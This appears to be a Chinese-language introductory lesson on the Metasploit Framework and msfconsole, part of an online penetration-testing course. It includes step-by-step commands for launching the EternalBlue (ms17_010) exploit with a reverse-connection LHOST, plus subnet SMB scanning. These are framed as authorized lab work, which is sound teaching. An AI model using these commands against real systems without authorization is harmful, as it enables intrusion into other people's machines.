Metasploit 架构与 msfconsole
熟悉 msfconsole，理解漏洞利用、有效载荷和模块的结构，并配置相关选项。
Metasploit 架构与 msfconsole 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 1 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
什么是 Metasploit
Metasploit Framework 是一个开源渗透测试平台，为开发、测试和执行漏洞利用提供统一界面。它是实验室环境中进行授权漏洞利用的行业标准工具。
Metasploit 组件
主要组件包括：msfconsole（交互式 CLI）、msfvenom（载荷生成器）、Metasploit DB（用于存储主机和会话的 PostgreSQL）以及 Armitage（GUI 前端）。
启动 msfconsole
启动 msfconsole 并初始化数据库。提示符会变为 msf6 >。制表符补全适用于所有命令、模块名称和选项。
# Start msfconsole
msfconsole
# Initialize database (if needed)
msfdb init
msfdb start
# Check DB connection
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.模块类型
Metasploit 将功能组织为不同的模块类型：漏洞利用（针对特定漏洞的攻击代码）、载荷（漏洞利用成功后运行的代码）、辅助（扫描器和模糊测试器）、后渗透、编码器以及 空操作。
msf6 > show exploits # list exploit modules
msf6 > show auxiliary # list auxiliary modules
msf6 > show payloads # list payloads
msf6 > show post # post-exploitation modules搜索模块
search 命令可以按名称、CVE、平台或等级筛选模块。模块等级表示可靠性：优秀 > 极佳 > 良好 > 普通 > 一般 > 低。
msf6 > search type:exploit name:eternalblue
msf6 > search cve:2021-44228
msf6 > search platform:windows smb
msf6 > search rank:excellent ms17使用漏洞利用模块
使用 use 选择模块，使用 show options 查看必需选项，使用 set 设置值，然后使用 run 或 exploit 运行。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > run设置全局选项
setg 会为之后使用的所有模块设置全局选项；如果一次测试活动中 LHOST、LPORT 和 RHOSTS 始终不变，这一功能会非常有用。
msf6 > setg LHOST 192.168.1.10
msf6 > setg LPORT 4444
# Unset global
msf6 > unsetg LHOST辅助模块
辅助模块执行扫描、枚举和模糊测试，但不会发送载荷。例如：SMB 版本扫描器、SSH 登录暴力破解模块和 HTTP 目录扫描器。
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 10
msf6 auxiliary(smb_version) > run工作区管理
工作区按测试活动组织扫描数据和会话。每次评估开始时创建一个新的工作区，以便分隔数据。
msf6 > workspace # list workspaces
msf6 > workspace -a lab_test # create
msf6 > workspace lab_test # switch
msf6 > hosts # show discovered hosts
msf6 > services # show discovered servicesNmap 集成
将 Nmap XML 扫描结果直接导入 Metasploit 的数据库，以填充主机表和服务表，从而支持有针对性地选择模块。
msf6 > db_nmap -sV 192.168.1.0/24
# Or import existing XML:
msf6 > db_import /path/to/scan.xml
msf6 > hosts
msf6 > services -p 445帮助与文档
每个模块都带有内置文档。使用 info 可阅读模块说明、可靠性等级、参考资料（CVE 和公告）以及必需选项。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > info
# Shows: description, CVE references,
# platform, architecture, reliability rank快速检查
在 msfconsole 中，哪个命令可以选择模块？
总结：Metasploit 架构
msfconsole 是核心中枢：搜索模块、设置选项、运行漏洞利用并管理会话。始终在命名的工作区中操作，将 Nmap 结果导入数据库，并在运行任何内容前阅读模块信息——了解您正在执行什么以及为什么执行。
用 AI 导师学习 Cyber Security Academy — 免费
在浏览器中编写并运行真实代码，获得全天候 AI 导师的即时帮助，并在网页或应用中继续学习。
- 课程
- 76
- 课程
- 303
常见问题解答
「Metasploit 架构与 msfconsole」课时是免费的吗？
是的 — 「Metasploit 架构与 msfconsole」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Cyber Security Academy 课程的其余内容，请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「Metasploit 架构与 msfconsole」这节课中我会学到什么？
熟悉 msfconsole，理解漏洞利用、有效载荷和模块的结构，并配置相关选项。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗？
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 1 节课，共 4 节。
「Metasploit 架构与 msfconsole」课时需要多长时间？
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗？
能。每节 Cyber Security Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- Metasploit 架构与 msfconsole
- 利用已知漏洞
- 有效载荷：分阶段与无阶段、Meterpreter
- 后渗透：横向移动与持久化